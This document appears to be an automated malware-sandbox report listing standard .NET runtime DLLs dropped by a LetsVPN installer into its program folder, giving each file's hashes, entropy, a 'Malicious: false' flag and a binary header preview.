Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0............../... ...@....... ..............................K.....@................................../..O....@..p................+...`......T................................................ ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................./......H.......P .......................-......................................BSJB............v4.0.30319......l.......#~......@...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3................................;.....Y.........8...........<...........P.......................X.....q.....g................."...................I.....I.....I...).I...1.I...9.I...A.I...I.I...Q.I...Y.I...a.I...i.I...q.I.......................#.....+.....3.....;.%...C.@...K.`...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.907876817777003
Encrypted:	false
SSDEEP:	384:GT+6ywnVvW0LWQTpwKANynsAw/98E9VF3AM+oTUgg:G99gAw/KENAMxwB
MD5:	E081AF9808BF9E38661C8B8F748C4A0A
SHA1:	5D66CAF0E62CBBDCAF1F9155A1EA63B6359A9D2D
SHA-256:	32D291F862EFF1DAA14B3B52C20CF36F8C5B876B728183648D8F877F8F4BA3DB
SHA-512:	4B4A9BDD2C255650D3E0E1C69A2971564E6AE0FC0F6745DF1F6A95A87FB02275796A32EDA3C63141331095D9224052F50E1D39AF8C6C5D7D6233FDFAD1F8BAF3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................4.....@..................................(..O....@...................+...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...h...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....7.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88040
Entropy (8bit):	5.415196096500198
Encrypted:	false
SSDEEP:	1536:m8KGCEPg1QqF3BhejEpvS/ZFQ+2/NVQ8GLa0Uh55T3lEC/IOPbZkxqN4bENZJlfq:RHCXBheNQ+2/NVQ8GLa0Uh55T3lEC/Ih
MD5:	5C09891E9DE673F0D5D58F44034EF52F
SHA1:	A62893EE5F31BFBB956EDB60D414BA696BFB60E8
SHA-256:	D6C1F1442A5D89C2E733386AA5D5E3401C3924BA5F314853C1E5A1CE53E5090E
SHA-512:	01C7DB3140348C9C10C7C23539177CC08CCA7DC1CBBFB9F68ABD26682493F5940EF2136972EF531BE61C1A5C25ED8B76681FD6473F4F1EA968030B75749ABE68
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.. ...........?... ...@....... ...............................u....`..................................>..O....@...............,...+...`.......=..T............................................ ............... ..H............text........ ... .................. ..`.rsrc........@......."..............@..@.reloc.......`.....................@..B.................>......H....... ,..$...........D....}...=.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905862991588053
Encrypted:	false
SSDEEP:	384:vRbzriaXT+WlEWfYpwKANynsAw/98E9VF3AM+oQCLP:J7icPAw/KENAMxJ
MD5:	B645DA6A1540BFBA62EC4B6DAD9FA792
SHA1:	45CCB792C8C8D31C21483AE4BB7942A413437B92
SHA-256:	DE3EE2A97E05E8F61FB7FDEB91D458E7F2133169ACA428BE22CD06F7969D856C
SHA-512:	0AA8FEF88FFC08FD46D514CBA45DFA9992BED3979158DB96032B8BE45AA4937BA1FCDACE9C773F4CE0DAFF322876F2CDC37B46B4B66ADBB33A8142D9E3AE70EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............6)... ...@....... ..............................Y.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ......................,'......................................BSJB............v4.0.30319......l.......#~..H...x...#Strings............#US.........#GUID...........#Blob......................3......................................................k.....?.....$.....S.................R...........!.....j...........<.....%...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	149480
Entropy (8bit):	5.4418351122046
Encrypted:	false
SSDEEP:	3072:bdYO+3m9R6e1x03BZ6bDSzZ8B0uAP+ahvgs:V+2jv1x0ebezWiuAh/
MD5:	80A0654B888EA0DBA8D06E163F16ED46
SHA1:	EC28A96B46897B71CCB95E1E2526ACAA7D9D2238
SHA-256:	4EB9940AB807576C3517F931ADFC08BB9972C2AD4060E4C08EA7A3AB031B1F2E
SHA-512:	FBAA3A9F56B5296198B9AD424E785838990585DE83533A9FC172B9E6C90299D4ACEFF8D850B31C34EB9F9742452458D5F687125049F3C47E94B26D09308060D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............,... ...@....... ..............................z.....@..................................,..O....@...................+...`.......+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H........A...............?..h...t+......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r;..p.(....2ro..p.(....2r...p.(....2r...p.(....2r...p.(....2rK..p.(....2r...p.(....2r...p.(....2r...p.(....*2rM..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	82920
Entropy (8bit):	5.955722981392787
Encrypted:	false
SSDEEP:	768:xsCikxiUPLkOWoYSAkm4fHLofFv9Rit9zzv5dnCsAw/KENAMxrr:qfkxBIOYSq4/2biHrnCsAwrxf
MD5:	BA2CFA75567673E1397EF4C057493F77
SHA1:	2644D80A1396D32F09FD86ED37C5CCBB62E41AC0
SHA-256:	C60AF1B42048C521DA3B0349487F9DBA1EFFCB239ED7B01CC9244F10D3587D0E
SHA-512:	F92235ABDF5B67F5C8A0CB60E0D7EFF3A4272CBA7D372D6BC9F421B6A3AA6185BA06B51E8A11937F973F99A702960C7D33B26C325356FCC7B8689396100AEAEF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............&... ...@....... ..............................Z.....`..................................)..O....@...................+...`.......(..T............................................ ............... ..H............text...,.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H........(...I..........0r..@...p(.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	100840
Entropy (8bit):	5.813303359342085
Encrypted:	false
SSDEEP:	1536:5+kZKluk7ZFrtpAauVXrbtYC/xBu9LtAwrx517:5+kzk7p4rbtYC/xBOthx7
MD5:	170EA3B16CF6C6C6E0CB616B201A0CD8
SHA1:	A95CF1E662009221FD2E55A87A886A541F3B75B4
SHA-256:	EBC15C993AB195BEDA7C3DEB45AF05B0D305B20DFC91A3C75C20C89437F61E73
SHA-512:	38E30DF716189BD713D752B0E7C7C73E499640858DF50290D6F5D206AC6B075A849522F10A7E3AF0D88671DFBF41F5B3E796CBDAD001EEB9AC40B1A18A2D98C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..R...........p... ........... ...............................\|....`..................................o..O....................^...+...........n..T............................................ ............... ..H............text....P... ...R.................. ..`.rsrc................T..............@..@.reloc...............\..............@..B.................o......H...........^..................Pn.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	224744
Entropy (8bit):	5.687717043673745
Encrypted:	false
SSDEEP:	6144:7XFpBZBJL3rBxad7/bAkGF60FhFoFmF8cjcsc4FEFbFgcbFmFiF6FhFuFBFuFDFb:bFRf60FhFoFmF8cjcsc4FEFbFgcbFmFb
MD5:	283E080CE74B5DB557AEE662ACB83FCA
SHA1:	7915F4CE008E5B33286BEBD3BF710D247ACE7FE1
SHA-256:	C45DECECE72A03B879F73FCE75A029464D0FE8A60DF22A48E673D9EA6814E6E7
SHA-512:	482552959E1A657EB66FB1DAEF7D6EB1C8E47A2F083F3B1B781E96847062888594DF2553A3BE0A6CB4A47E656093CC732A77899FF0958C380A09F53E9B2D8A31
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..8...........W... ...`....... ..............................9.....`..................................V..O....`...............B...+...........V..8............................................ ............... ..H............text....7... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H.......h7..............@...XW...U..........................................0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%....(..........(....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.871006413324289
Encrypted:	false
SSDEEP:	384:cRtRWjYWVIpwKANynsAw/98E9VF3AM+onGJAIkEMB:eiNAw/KENAMxGJArpB
MD5:	C6EFBC9217E2463AF79A939C01DA034F
SHA1:	5C1D5404074AE8F850428A10D287DE4E0DB3F2BE
SHA-256:	50B7560179F923BFC03F8B631612D38679693FA4A48284D747D4857F6F93B7C2
SHA-512:	7D1697441ABEB6EF0F3FE24E4192277E798837ADEC88C5D7C9BC9082060A3F34FEC72765008C299AE9776B042B28CA2B84D14D681869E9B2B4772528E3C2B797
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................x..O....@..@................+...`......@)............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.......................H.......P ..p....................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings....H.......#US.L.......#GUID...\.......#Blob......................3..................................................-.....-.........M...........[.................'.....@.................[........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9478091177944465
Encrypted:	false
SSDEEP:	384:CeWnoWW/pwKANynsAw/98E9VF3AM+oGliP8M:CnRAw/KENAMxjt
MD5:	D000CFD61AD9A1400F95BBBFE60FDAA8
SHA1:	09947705729C204091E141E0862675F8402476BE
SHA-256:	9B5FEEB0EA1A306F40A8B7F5D154F04089E11C2F11B15394CB98B7E460938C41
SHA-512:	5CFC6EFD29529E9D0E5F86E8B612BE9A164E1AF68D758993846BD8077E5B0FEA08CFFDC9609E133C5E9677AA12FAF1F8AB19886F78C6E7E0EBAAF274FE17FF10
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................j.....@.................................X)..O....@..$................+...`...... (............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................)......H.......P ..P....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings....,.......#US.0.......#GUID...@.......#Blob......................3......................................K.........]...........d.............o...".o...?.o.....o...}.o.....o.....o.....o.....h...-.o.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.351688012786698
Encrypted:	false
SSDEEP:	768:/VdeQes+wUTHP0G3cmL+7NQ1OaY74EaAw/KENAMxz5K:/XeQes+wUTHPbANP7taAwrxzc
MD5:	EAAEE00AAE6817EA36071A8763653842
SHA1:	CC040EF82512B69E77247AEA01816FE0C01969E4
SHA-256:	4AA9C121C565B4E4C0499FE3175E9FD6E812150275FEB9300F930C114651091F
SHA-512:	27C1CEA4FB5DA49BF055E86D3910DAD18BEB91D9B9314D396682F130F48FC6F76E61BF0D01723085DE6CA4FECEE14E867709BE950037891993E90E2E8C4FAEDA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....K............" ..0..N...........l... ........... ..............................w_....`................................._l..O....................X...+..........pk..T............................................ ............... ..H............text....L... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B.................l......H.......<%...,...........Q.......j.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........( ....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905579148221384
Encrypted:	false
SSDEEP:	384:a6oWJjWckpwKANynsAw/98E9VF3AM+oCwJ+:a6vDAw/KENAMx7+
MD5:	0B74447C2E887EB2E968860C38849B01
SHA1:	0EEB20D6307B9F9D72744D371B5FCEF7E7BBC039
SHA-256:	AB94EDBA42955F58694057C0992E158A2AB1D4865E1AA9B4C2ED93A06077A5E3
SHA-512:	FB9DD055D5D326D89C09B99C7AD0EBD85F496327A300EA8125F64A4454D9973B8F18A418376004070117E3934E76743337B7F70184DD44DB68DB35F135CA8A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................0....@.................................H(..O....@..p................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................\|(......H.......P ..@....................&......................................BSJB............v4.0.30319......l...\|...#~......(...#Strings............#US.........#GUID...$.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.$...C.?...K._...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	42472
Entropy (8bit):	6.0216340679855485
Encrypted:	false
SSDEEP:	384:KGAHVcV8a5cg1YeEBfVmVYSGS4W+FyLVRVStbaB/PRTlBRBMJnnvnL0++WYbWAyw:KTyj5cKJfE+MJnnvnL0jRAw/KENAMxb
MD5:	D358480B44628F3013578D394BD4B09C
SHA1:	B0D59D0D89D31D8EB502D81E6A24089AD711F2A8
SHA-256:	FDA5CCB3340509E4D365F4CFEAD3EEC08D24D2BE5DD01CB07CDEC1518543FA87
SHA-512:	38C973BF5932CC6046DF9354E11722ECA4CF3563B22227E81E5C5D1E194AC667290A98DAFCE530FF8F90AB6D05880EC843424500B808AA91EC62B54FAE7D15B6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....D..........." ..0..n.............. ........... ..............................7.....`.....................................O....................z...+..............T............................................ ............... ..H............text....l... ...n.................. ..`.rsrc................p..............@..@.reloc...............x..............@..B........................H.......\&...5...........\...............................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.8363078970914115
Encrypted:	false
SSDEEP:	384:3qk53/hW3fZ+zWzZ9pwKANynsAw/98E9VF3AM+oe2wTa:3qk53MJkAw/KENAMxD
MD5:	AB50D9C2F672BA5FEC55ED5E3524FD1F
SHA1:	122ECA53082B37F12E75751EF6D2F63AA2811957
SHA-256:	AB4DBF17D93331202D45C68B9479424638AF41AEFECC8800A1801F3213E2089F
SHA-512:	C9BADB8432493A0216DBCF5F3044423E1964BC7B5EE94E2A6E497A1AE0D4C0BE63F76CA302F1FBC83E8B345495DD4EB862872C9A16B2D4ADA6F6A5D22C129301
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*... ...@....... ...............................q....@..................................)..O....@..0................+...`.......(............................................... ............... ..H............text...0.... ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.......................H.......P ...................... (......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................j.q.........~.................}.....3.....L.................g.....P...................k.....k.....k...).k...1.k...9.k...A.k...I.k...Q.k...Y.k...a.k...i.k...q.k.......................#.....+.....3.....;.....C.7...K.W...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18920
Entropy (8bit):	6.722436960395853
Encrypted:	false
SSDEEP:	384:aFCc4Y4OJWfOWqWWOWWLpwKANynsAw/98E9VF3AM+of9G/dGfWu049mF:KCcyC7Aw/KENAMx1G/w+ZAs
MD5:	9D6A5AFA7B4C436069F565AA91039A19
SHA1:	DD26015024E3E30B5D652CBA1E498C8DF0A27DA5
SHA-256:	BDBC0B52C46193E1C26271C94C49BF3FC7CAE21005926D3DD41A8E084256B2C3
SHA-512:	B8BF0EF60B8BB23DEA5D30952398DA9F6AD0E8B850535575827909D0B3AC11FCB487EDB899BA47354D12EEB4A6074D1C585A6D9A9E82B0A99B088DD57CBAC634
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............N.... ...@....... ..............................l.....@..................................-..O....@...................+...`......L-............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0.......H........ ..4....................,......................................F.(....~....(....6.o.....(....6.o..........*.o........~.....~.....BSJB............v4.0.30319......l.......#~..<.......#Strings.... .......#US.(.......#GUID...8.......#Blob...........GU.........3..................................................8.........*.h...m.h.....Z.....$...........Z...+.\|.....Z...1.Z.....$.....$.......3.D.......\|...F.\|...c.\|.....\|.....\|.....\|.....\|.....\|.....Z...I.\|...}.Z.....Z.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.931910682226578
Encrypted:	false
SSDEEP:	384:7AWxMWYtpwKANynsAw/98E9VF3AM+o05hc:7vBAw/KENAMxEc
MD5:	3A4550B4EAA5BE9635A8CF5E131C5C9B
SHA1:	2A36E204DD2FFB785C6E29D9D8A9CE44E41C50A9
SHA-256:	C3150F991A99712C300EA2D6D201CC8820435901EDFC7F2D6D3631DC6DF91E63
SHA-512:	0087787B7B587854BE0CE5C97825B1D67E67215026C11BC885330792AA9AB80CC4CEE53F410A547AE998FBED037ED5BE0F614907961E989D113540927012E8FB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................._....@..................................(..O....@...................+...`......L'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..\|....................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....D.......#US.H.......#GUID...X...$...#Blob......................3......................................z...........!...\.!...0.....A.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.,...C.G...K.g...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9059125920410835
Encrypted:	false
SSDEEP:	384:MAlcWHaWvKpwKANynsAw/98E9VF3AM+oj35hp:l9jAw/KENAMxVf
MD5:	361D41D8F1F07906BDE089C94843158D
SHA1:	A17D4F88FFFE696562FD32C0C3943991EE1576E4
SHA-256:	BEF84DD0B858D01B7C898123D317C29C0C0CA3478DB4BD6730FB7ADA669BEC30
SHA-512:	C379B389A4EF2B247D3C02F570A9F588696785EC192458033D7BC0F77895BD4110F6C73ECAF3E77A598F96B1B6D7A6D455F38EEF9D9DDF534F937741D9A34E3E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....p.......#US.t.......#GUID...........#Blob......................3............................................................`.....1.....t.................s.....).....B.................].........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.838816731651097
Encrypted:	false
SSDEEP:	384:mTIZnWlNWezpwKANynsAw/98E9VF3AM+oFZl2Gz:GUyYAw/KENAMxJz
MD5:	4550792542C63094619622171E3C054D
SHA1:	C7975AE3610B6C59C20AA7ED72CBA791899672E7
SHA-256:	2777056938AE552F488FADB053462C184B3E6D4B29FEFD1EE58A518ED1E9F7BB
SHA-512:	8DA3DDA43A5D2C3D33E2467CAE18C3BD6D86A1547CB2F026EF543A6520550442F34FF7794F76E6A942ADAE8F3FB7F2C17CEFA81C52361D30CE129E9F93D70940
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............2... ...@....... ...............................a....@..................................)..O....@..P................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...\...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................t...................................=.....V.................q.....Z...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26600
Entropy (8bit):	6.549745891932712
Encrypted:	false
SSDEEP:	384:0lQnCMi33333333kj8xe+5PTYM3zUy+CezHjzgKj0uRWOdWmWJdWwApwKANynsAs:yQq33333333kX+TBi8FAw/KENAMx3
MD5:	5034E9355F31E37FAFD1C61CA444683E
SHA1:	A57102C41A2E6E8A9C0F264CDC901DFE5418384B
SHA-256:	F1042347072E49C6A00F8F24ABE38EA0C557DECC135B6F2DB48C627CF178A746
SHA-512:	293D58075357259794D053DF2F01C39FF9CA6D05EFF5E05DD3C224547FA603E8D40E9E1D7A366711DDB2185007514FBE660B904623F8B86A227B194B9A2F922D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............RM... ...`....... ....................................@..................................L..O....`..x............<...+..........PL............................................... ............... ..H............text...X-... ...................... ..`.rsrc...x....`.......0..............@..@.reloc...............:..............@..B................3M......H.......8...!...................K.......................................0..H........(.....-.r...ps....z.-.r...ps....z.(......}......(#...}.....{.....o...."..(........0..Z.............%.r#..p.%..{.....%.rA..p.%..{..........%.rS..p.%..{....l.{....l[...ra..p(.....(....&...{.....0..4.................}......+....{.....".......X.....{.....i2..0..k..........{........{..........."....(.......X....{.....i.0%.(..........(.....(.......,..(........"....3.....}....*.......=..M......

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	55272
Entropy (8bit):	5.900626916792861
Encrypted:	false
SSDEEP:	1536:8JbgUxvrIn01EkO/69KzwmOiGeCcSP8UIrDAwrxe:81xvrInsEkO/AKzwm3C0UODhg
MD5:	689032F264346A94F2EFE676D797FB88
SHA1:	EAE2E0F39A499089EF3827EA1598D50898DC792A
SHA-256:	C2D38D015AA22D59F2159408075883CAC1B902BC4EECE170A12095FA983FF116
SHA-512:	32093F3F96E3AD62F444EFD1068C6AFB3C9E8953186B8A3D89C6F10B6613973BC4212A9B956753DF25D83128FEB58931F5F9F125483A105D621996F2C305EE1D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............n.... ........... ..............................?,....`.....................................O........................+..........8...T............................................ ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................O.......H........)...\...............6...........................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

